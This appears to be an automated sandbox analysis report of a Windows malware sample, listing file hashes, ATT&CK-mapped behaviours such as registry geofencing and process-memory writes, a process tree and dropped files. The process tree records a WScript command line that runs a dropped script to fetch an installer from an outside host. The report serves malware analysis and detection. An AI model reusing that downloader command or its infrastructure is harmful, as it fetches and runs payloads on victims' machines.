8dbb272de5e88682edceb0d4066ae77aed9074779a07f69a07638cd9b803c85b

General

Target

c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe
Size

184KB
MD5

c128ad843b9b859c80d088dfcc57970e
SHA1

cdb525bda67b9418a61a57d66eef7756ba0c20d8
SHA256

8dbb272de5e88682edceb0d4066ae77aed9074779a07f69a07638cd9b803c85b
SHA512

acdc075bb69513b24ccde9bc8e40e85d783a2addd1c182fba6fa61cdc3a9c29d5b89992800fee4dc7b6ba49e4ca4887d0d27cf9514aebd06d9aab8b695a10016
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3D:/7BSH8zUB+nGESaaRvoB7FJNndne

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
12	3140	WScript.exe
35	2592	WScript.exe
37	2152	WScript.exe
38	2152	WScript.exe
53	3576	WScript.exe
54	3576	WScript.exe
56	4300	WScript.exe
57	4300	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4060 wrote to memory of 3140	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	84
PID 4060 wrote to memory of 3140	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	84
PID 4060 wrote to memory of 3140	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	84
PID 4060 wrote to memory of 2592	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	95
PID 4060 wrote to memory of 2592	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	95
PID 4060 wrote to memory of 2592	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	95
PID 4060 wrote to memory of 2152	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	96
PID 4060 wrote to memory of 2152	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	96
PID 4060 wrote to memory of 2152	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	96
PID 4060 wrote to memory of 3576	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	100
PID 4060 wrote to memory of 3576	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	100
PID 4060 wrote to memory of 3576	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	100
PID 4060 wrote to memory of 4300	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	101
PID 4060 wrote to memory of 4300	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	101
PID 4060 wrote to memory of 4300	4060	c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c128ad843b9b859c80d088dfcc57970e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf709C.js" http://www.djapp.info/?domain=XBaEUPIUGt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf709C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3140
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf709C.js" http://www.djapp.info/?domain=XBaEUPIUGt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf709C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2592
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf709C.js" http://www.djapp.info/?domain=XBaEUPIUGt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf709C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2152
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf709C.js" http://www.djapp.info/?domain=XBaEUPIUGt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf709C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3576
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf709C.js" http://www.djapp.info/?domain=XBaEUPIUGt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf709C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf709C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing